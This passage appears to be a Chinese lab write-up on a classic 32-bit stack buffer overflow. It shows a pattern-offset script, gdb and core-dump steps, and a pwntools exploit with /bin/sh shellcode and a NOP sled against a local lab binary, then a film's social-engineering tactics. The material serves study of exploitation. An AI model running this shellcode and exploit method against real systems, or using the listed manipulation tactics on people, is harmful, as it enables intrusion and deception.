"h3Xh4Xh5Xh6Xh7Xh8Xh9Xi0Xi1Xi2Xi3Xi4Xi5Xi6Xi7Xi8Xi9Xj0Xj1Xj2Xj3Xj4Xj5Xj6Xj7Xj8Xj9"
"Xk0Xk1Xk2Xk3Xk4Xk5Xk6Xk7Xk8Xk9Xl0Xl1Xl2Xl3Xl4Xl5Xl6Xl7Xl8Xl9Xm0Xm1Xm2Xm3Xm4Xm5Xm"
"6Xm7Xm8Xm9Xn0Xn1Xn2Xn3Xn4Xn5Xn6Xn7Xn8Xn9Xo0Xo1Xo2Xo3Xo4Xo5Xo6Xo7Xo8Xo9Xp0Xp1Xp2X"
"p3Xp4Xp5Xp6Xp7Xp8Xp9Xq0Xq1Xq2Xq3Xq4Xq5Xq6Xq7Xq8Xq9Xr0Xr1Xr2Xr3Xr4Xr5Xr6Xr7Xr8Xr9"
"Xs0Xs1Xs2Xs3Xs4Xs5Xs6Xs7Xs8Xs9Xt0Xt1Xt2Xt3Xt4Xt5Xt6Xt7Xt8Xt9Xu0Xu1Xu2Xu3Xu4Xu5Xu"
"6Xu7Xu8Xu9Xv0Xv1Xv2Xv3Xv4Xv5Xv6Xv7Xv8Xv9Xw0Xw1Xw2Xw3Xw4Xw5Xw6Xw7Xw8Xw9Xx0Xx1Xx2X"
"x3Xx4Xx5Xx6Xx7Xx8Xx9Xy0Xy1Xy2Xy3Xy4Xy5Xy6Xy7Xy8Xy9Xz0Xz1Xz2Xz3Xz4Xz5Xz6Xz7Xz8Xz9"
"Ya0Ya1Ya2Ya3Ya4Ya5Ya6Ya7Ya8Ya9Yb0Yb1Yb2Yb3Yb4Yb5Yb6Yb7Yb8Yb9Yc0Yc1Yc2Yc3Yc4Yc5Yc"
"6Yc7Yc8Yc9Yd0Yd1Yd2Yd3Yd4Yd5Yd6Yd7Yd8Yd9Ye0Ye1Ye2Ye3Ye4Ye5Ye6Ye7Ye8Ye9Yf0Yf1Yf2Y"
"f3Yf4Yf5Yf6Yf7Yf8Yf9Yg0Yg1Yg2Yg3Yg4Yg5Yg6Yg7Yg8Yg9Yh0Yh1Yh2Yh3Yh4Yh5Yh6Yh7Yh8Yh9"
"Yi0Yi1Yi2Yi3Yi4Yi5Yi6Yi7Yi8Yi9Yj0Yj1Yj2Yj3Yj4Yj5Yj6Yj7Yj8Yj9Yk0Yk1Yk2Yk3Yk4Yk5Yk"
"6Yk7Yk8Yk9Yl0Yl1Yl2Yl3Yl4Yl5Yl6Yl7Yl8Yl9Ym0Ym1Ym2Ym3Ym4Ym5Ym6Ym7Ym8Ym9Yn0Yn1Yn2Y"
"n3Yn4Yn5Yn6Yn7Yn8Yn9Yo0Yo1Yo2Yo3Yo4Yo5Yo6Yo7Yo8Yo9Yp0Yp1Yp2Yp3Yp4Yp5Yp6Yp7Yp8Yp9"
"Yq0Yq1Yq2Yq3Yq4Yq5Yq6Yq7Yq8Yq9Yr0Yr1Yr2Yr3Yr4Yr5Yr6Yr7Yr8Yr9Ys0Ys1Ys2Ys3Ys4Ys5Ys"
"6Ys7Ys8Ys9Yt0Yt1Yt2Yt3Yt4Yt5Yt6Yt7Yt8Yt9Yu0Yu1Yu2Yu3Yu4Yu5Yu6Yu7Yu8Yu9Yv0Yv1Yv2Y"
"v3Yv4Yv5Yv6Yv7Yv8Yv9Yw0Yw1Yw2Yw3Yw4Yw5Yw6Yw7Yw8Yw9Yx0Yx1Yx2Yx3Yx4Yx5Yx6Yx7Yx8Yx9"
"Yy0Yy1Yy2Yy3Yy4Yy5Yy6Yy7Yy8Yy9Yz0Yz1Yz2Yz3Yz4Yz5Yz6Yz7Yz8Yz9Za0Za1Za2Za3Za4Za5Za"
"6Za7Za8Za9Zb0Zb1Zb2Zb3Zb4Zb5Zb6Zb7Zb8Zb9Zc0Zc1Zc2Zc3Zc4Zc5Zc6Zc7Zc8Zc9Zd0Zd1Zd2Z"
"d3Zd4Zd5Zd6Zd7Zd8Zd9Ze0Ze1Ze2Ze3Ze4Ze5Ze6Ze7Ze8Ze9Zf0Zf1Zf2Zf3Zf4Zf5Zf6Zf7Zf8Zf9"
"Zg0Zg1Zg2Zg3Zg4Zg5Zg6Zg7Zg8Zg9Zh0Zh1Zh2Zh3Zh4Zh5Zh6Zh7Zh8Zh9Zi0Zi1Zi2Zi3Zi4Zi5Zi"
"6Zi7Zi8Zi9Zj0Zj1Zj2Zj3Zj4Zj5Zj6Zj7Zj8Zj9Zk0Zk1Zk2Zk3Zk4Zk5Zk6Zk7Zk8Zk9Zl0Zl1Zl2Z"
"l3Zl4Zl5Zl6Zl7Zl8Zl9Zm0Zm1Zm2Zm3Zm4Zm5Zm6Zm7Zm8Zm9Zn0Zn1Zn2Zn3Zn4Zn5Zn6Zn7Zn8Zn9"
"Zo0Zo1Zo2Zo3Zo4Zo5Zo6Zo7Zo8Zo9Zp0Zp1Zp2Zp3Zp4Zp5Zp6Zp7Zp8Zp9Zq0Zq1Zq2Zq3Zq4Zq5Zq"
"6Zq7Zq8Zq9Zr0Zr1Zr2Zr3Zr4Zr5Zr6Zr7Zr8Zr9Zs0Zs1Zs2Zs3Zs4Zs5Zs6Zs7Zs8Zs9Zt0Zt1Zt2Z"
"t3Zt4Zt5Zt6Zt7Zt8Zt9Zu0Zu1Zu2Zu3Zu4Zu5Zu6Zu7Zu8Zu9Zv0Zv1Zv2Zv3Zv4Zv5Zv6Zv7Zv8Zv9"
"Zw0Zw1Zw2Zw3Zw4Zw5Zw6Zw7Zw8Zw9Zx0Zx1Zx2Zx3Zx4Zx5Zx6Zx7Zx8Zx9Zy0Zy1Zy2Zy3Zy4Zy5Zy"
"6Zy7Zy8Zy9Zz0Zz1Zz2Zz3Zz4Zz5Zz6Zz7Zz8Zz9"
)

def show_error(msg):
sys.stderr.write(os.linesep * 2 + "ERROR: " + msg + os.linesep * 3)
sys.exit(1)

def bare_words():
string = " ".join(sys.argv[1:])
print("The used string: =>" + string + "<=")
return string

def show_help():
print(sys.argv[0] + " create <int>")
print("\tReturns a pattern of <int> chars.")
print()
print(sys.argv[0] + " offset <str> [size <int>]")
print(
"\tReturns the offset for the provided argument <str>. Must be at least "
"three chars for non ambiguous match. May be a hex value. The conversion"
"is done automatically for little endian architectures (ie: x86). This "
"basically means that the string obtained from hex conversion is "
"reversed. WARNING: The hex decoding is skipped for valid hex values "
"that are part of the buffer itself as the hex decoding is a fallback "
"measure. Always use the 0x prefix in order to force the hex decoding."
"" + os.linesep + ""
"\tFor patterns longer than 20280 chars you must provide the optional "
"argument size in order to receive all the offsets for the Aa0 pattern."
)
sys.exit(0)

def show_pattern(size):
size = int(size)
count = size // 20280
inc = 0
while inc < count:
sys.stdout.write(buf)
inc += 1

mod = size % 20280
sys.stdout.write(buf[:mod] + "\n")

def decode_offset(offset):
offset = offset.replace("0x", "")
try:
offset = binascii.unhexlify(offset)
offset = offset[::-1].decode('utf-8') # 反转并解码为字符串
print("hex pattern decoded as: " + offset)
return offset
except (TypeError, binascii.Error):
show_error("Invalid input offset.")

def show_offset(offset, size):
try:
pos = buf.index(offset)
if size == 0:
print(pos)
else:
position = []
count = size // 20280
inc = 0
while inc < count:
position.append(str(inc * 20280 + pos))
inc += 1

mod = size % 20280
if pos + len(offset) <= mod:
position.append(str(inc * 20280 + pos))

print(os.linesep.join(position))
except ValueError:
offset = decode_offset(offset)
show_offset(offset, size)

if __name__ == "__main__":
if len(sys.argv) == 1:
show_help()
elif sys.argv[1] != "create" and sys.argv[1] != "offset":
show_help()

try:
if sys.argv[1] == "create":
try:
if sys.argv[2].isdigit():
show_pattern(sys.argv[2])
except IndexError:
show_error("You need to supply the <int> value for the create action.")
elif sys.argv[1] == "offset":
try:
if sys.argv[2]:
try:
size = int(sys.argv[3])
except IndexError:
size = 0

show_offset(sys.argv[2], size)
except IndexError:
show_error("You need to supply the <str> value for the offset action.")
except KeyboardInterrupt:
show_error("Keyboard interrupt received. Educated guess: the script took too long to execute. You used a really long size, didn't you?")

1
2
3
root@moyuan-virtual-machine:/home/moyuan/桌面# python pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
root@moyuan-virtual-machine:/home/moyuan/桌面#

gdb ./level1 -> 调试程序

r -> 运行,输入之前用脚本创造的字符串

再使用 python 脚本来计算一下偏移: python pattern.py offset 0x37654136

这里解释一下,在 gdb 里报错的原因是本来的返回地址被我们输入的字符串覆盖掉了,覆盖为了0x37654136,当程序去返回的时候出错了,使用 pattern.py offset计算出来的就是整个栈的大小,把 0x37654136 改成找到的地址就可以执行我们的语句了

还有个问题: gdb 的调试环境会影响 buf 在内存中的位置,虽然我们关闭了 ASLR,但这只能保证 buf 的地址在 gdb 的调试环境中不变,但当我们直接执行 ./level1 的时候,buf 的位置会固定在别的地址上

这里采用的方法是开启:core dump

ulimit -c unlimited (这里之前是没啥的,但是又一次做的时候只有在root下最后才能成功)

开启之后,当出现内存错误的时候,系统会生成一个 core dump 文件在当前目录下。然后我们再用 gdb 查看这个 core 文件就可以获取到 buf 真正的地址了。

修改核心转储行为: 默认核心转储被 apport 工具接管,需修改配置让核心转储文件直接保存到当前目录:

1
2
3
4
sudo systemctl stop apport.service
sudo systemctl disable apport.service
echo "core" | sudo tee /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/core_pattern

使用gdb调试转储的 gdb level1 core.6021 (core 会有后缀)

使用 x/10s $esp-144 查看shellcode地址0xffffd370

为什么是 esp-144 ?因为我们报错的时候其实已经执行的到返回地址了,所以要在 140 的栈空间的基础上加上 4 字节的返回地址空间

用 python 结合 pwntools 写利用脚本

1
pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple //安装pwn库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# 启动目标程序
p = process('./level1')

# 返回地址(需根据实际情况调整)
ret = 0xffffd370

# shellcode 需要是字节串
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"

# 构造 payload
payload =shellcode + b'A' * (140 - len(shellcode)) + p32(ret)
print(payload)
# 发送 payload
p.send(payload)
p.interactive()

Tip: 为什么 Shellcode 在 GDB 中运行成功而直接运行失败?

在调试程序时,GDB 会为进程添加大量的环境变量,这些变量存储在栈中,导致栈占用更多空间,地址变低。而直接运行程序时,由于没有 GDB 的干扰,栈地址比在 GDB 中运行时更高。这种栈地址的变化使得在 GDB 中找到的返回地址在直接运行时可能会失效,导致 Shellcode 无法执行。

解决方法:

  1. 将返回地址适当调整到更高的地址,以匹配直接运行时的栈布局。
  2. 在 Shellcode 前增加一个 NOP 链(如 60 字节的 NOP 指令 \x90),扩大命中范围。这样,即使返回地址不完全精确,只要命中 NOP 链中的任意一个字节,代码执行也会顺利进入 Shellcode。

关键点:

  • GDB 改变了程序的栈布局,需考虑栈地址偏移。
  • NOP 链 提高了返回地址的容错能力。

示例:
调整返回地址为 0xffffd370,在 Shellcode 前增加 60 字节的 NOP 链,使代码更鲁棒,即使偏移变化也能命中目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# 启动目标程序
p = process('./level1')

# 返回地址(需根据实际情况调整)
ret = 0xffffd370

# shellcode 需要是字节串
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"

# 构造 payload
payload = b"\x90"*60 + shellcode + b'A' * (140 - len(shellcode) - 60) + p32(ret)
print(payload)
# 发送 payload
p.send(payload)
p.interactive()
1
python exp1.py

成功!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[*] Switching to interactive mode
$ ls
core.6021 core.6296 exp1.py level1.c pattern.py
core.6273 core.6373 level1 linux.py peda-session-level1.txt
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:8d:97:a2 brd ff:ff:ff:ff:ff:ff
altname enp2s1
inet 192.168.80.16/24 brd 192.168.80.255 scope global dynamic noprefixroute ens33
valid_lft 60458sec preferred_lft 60458sec
inet6 fe80::732d:9fcc:dc18:f328/64 scope link noprefixroute
valid_lft forever preferred_lft forever
$ whoami
moyuan
$ uname -a
Linux moyuan-virtual-machine 6.8.0-48-generic #48~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 7 11:24:13 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
$ python -c "import pty;pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

moyuan@moyuan-virtual-machine:/home/moyuan/桌面$ $

3. 实验结果

  • Windows:通过覆盖 EIP 并跳转到 jmp esp 指令,执行自定义 Shellcode 实现功能。
  • Linux:关闭 ASLR 和其他保护后,构造 NOP 链 和返回地址,成功实现 Shellcode 执行。

4.《我是谁:没有绝对安全的系统》社会工程学片段解析

影片概述
《我是谁:没有绝对安全的系统》是一部聚焦黑客犯罪的德国悬疑电影,其剧情围绕一个普通青年黑客本杰明的视角展开。他与几个志同道合的伙伴组成黑客组织“Clay”,利用精湛的黑客技术和高超的心理博弈,展开了一系列惊心动魄的黑客行动。这部电影在悬疑与反转的基础上,融合了“社会工程学”的独特主题,引发观众对技术与人性的思考。

社会工程学片段解析
电影的多个关键情节中,本杰明及其团队都利用了社会工程学的技巧,这些场景不仅推动了剧情发展,还深刻揭示了社会工程学的核心——通过操控人性来突破安全防护。

1. 通过猫奴大妈突破垃圾站防线

在本杰明团队试图潜入情报局时,他们无法通过高科技破解防护系统,于是选择“人性漏洞”。团队成员发现了一位垃圾站管理员——一个对流浪猫有特殊情感的大妈。他们利用她对猫的关注,在分散其注意力后成功绕过了入口的监控系统。

社会工程学技巧:

  • 心理定位:锁定目标的大妈,分析其行为习惯和情感弱点(对猫的关注)。
  • 分散注意力:通过设置猫作为干扰源,让管理员失去对外部的警觉。
  • 信任滥用:利用目标的善良本性,营造无害的假象。

2. 打动保安大爷进入高安保区

在一次行动中,本杰明以“丢失钱包”为由试图进入一个安保森严的区域。面对严谨的保安,他没有选择硬闯,而是通过自编的故事来赢得信任。本杰明伪装成无害的普通人,博取同情并引导对方放松戒备,最终成功进入目标地点。

社会工程学技巧:

  • 建立信任:以平易近人的形象接近目标,利用“善意同情”策略让对方放下警惕。
  • 诉诸情感:虚构“担心父亲责骂”的情节激发保安的同情心。
  • 隐蔽操作:利用小型硬件设备将网络热点植入建筑内部。

3. 对汉娜的心理操控

影片的高潮部分,本杰明故意向欧洲刑警汉娜讲述了一段悲惨的身世,以及团队因多重人格障碍造成的内部分裂。通过将自己塑造成一个孤立无援的受害者,他成功激发了汉娜的母性与保护欲,使她违背规章制度放他一马,并帮助他修改身份数据,从而逃脱法律制裁。

社会工程学技巧:

  • 心理诱导:巧妙塑造自身的弱势形象,通过虚构悲惨经历引导汉娜共情。
  • 利用软肋:本杰明了解汉娜曾经历丧子之痛,抓住这一心理弱点进行针对性说服。
  • 多层博弈:利用自己的黑客技能和心理优势,营造出一个可信的谎言网络,让汉娜对真相的质疑被不断引导至对自己有利的方向。

社会工程学的核心内涵

电影通过这些桥段展现了社会工程学的本质,即“技术次要,人性为主”。与其破解技术上的复杂防护系统,不如利用人性的弱点突破心理防线。在电影中,这些心理博弈不仅体现了本杰明团队的高超智慧,也揭示了现代信息社会中安全问题的一个根本事实:人永远是安全链中最脆弱的一环

总结
《我是谁:没有绝对安全的系统》通过多次巧妙运用社会工程学技巧,展现了黑客行为如何依赖于对人性的深刻理解。影片以烧脑反转与紧张情节为依托,借用社会工程学的理念,提出了技术与人性交织的安全困境,为观众带来了一场关于信任与欺骗的思维盛宴。

5.参考文献

  1. 「红队笔记」靶机精讲:Brainpan1 - 缓冲区溢出典型利用过程,让你一次吃透
    视频链接:Bilibili

  2. Windows经典栈溢出利用,听不懂赔钱
    视频链接:Bilibili

  3. 缓冲区溢出实验文章

  4. 栈溢出经典实验
    博客链接:博客园

  5. SEED Labs 栈溢出教程

  6. 长亭pwn公开课:栈溢出讲解
    视频链接:Bilibili

  7. 缓冲区溢出及社会工程学解读

  8. 附加学习资源:GDB 调试和 ASLR 探索

0%